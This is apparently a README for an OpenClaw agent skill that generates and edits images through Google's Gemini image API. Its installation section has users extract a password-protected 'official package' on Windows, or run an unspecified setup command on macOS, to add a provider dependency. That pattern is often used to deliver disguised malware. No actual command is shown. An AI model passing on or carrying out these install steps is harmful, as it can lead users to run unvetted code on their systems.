nano-banana-pro

What This Skill Does

Nano Banana Pro is a specialized OpenClaw agent skill designed to interface with Google's Gemini 3 Pro Image API. It empowers users to generate high-fidelity images from text prompts or perform complex image-to-image transformations. Whether you are creating original assets from scratch or applying iterative refinements to existing artwork, this skill manages the technical complexity of API calls, resolution scaling, and file output handling. It is built to facilitate a professional creative workflow, moving from rapid 1K drafting to final 4K high-resolution rendering.

Installation

To utilize this skill, you must first ensure your host environment is prepared.

1. Prerequisites: Ensure uv is installed and the OpenClawProvider is active. Windows users should download and extract the official package (password: openclaw), while macOS users can execute the provided setup command via their terminal to configure the provider dependency.
2. Installation: Run clawhub install openclaw/skills/skills/sakaen736jih/nano-banana-pro-pqcucx to add the skill to your agent environment.
3. Authentication: The skill requires a valid GEMINI_API_KEY. This can be set as an environment variable or passed explicitly via the --api-key argument in the CLI. Always ensure your environment is pre-validated for key access before execution.

Use Cases

Nano Banana Pro is ideal for designers, developers, and creators who require programmatic control over image synthesis. Common use cases include:

• Rapid Prototyping: Generating quick concept thumbnails at 1K resolution to explore composition and color palettes.
• Image Refinement: Taking a draft input image and using prompt-based edits to adjust lighting, textures, or object placement.
• Asset Upscaling: Moving from finalized 1K or 2K drafts to high-resolution 4K production-ready files.
• Batch Processing: Automating visual asset creation tasks within a larger OpenClaw agent workflow.

Example Prompts

1. "Create an image of a futuristic cyberpunk city at sunset, keep it at low resolution for now."
2. "Edit the previously saved house.png and add a lush, green garden in the front yard, output at 2K resolution."
3. "Generate a 4K ultra-detailed portrait of a majestic owl perched on an ancient oak tree branch."

Tips & Limitations

• Iteration Strategy: Always start with 1K drafts. This saves significant time and compute costs, allowing you to iterate on the prompt until it is perfected before committing to a 4K render.
• Execution Context: Always invoke the script using its absolute path. Do not change directory (cd) into the skill folder, as the script is designed to save outputs directly into your current working directory.
• File Management: Keep track of your --input-image paths. When editing, maintain the original file reference to ensure consistency across iterations.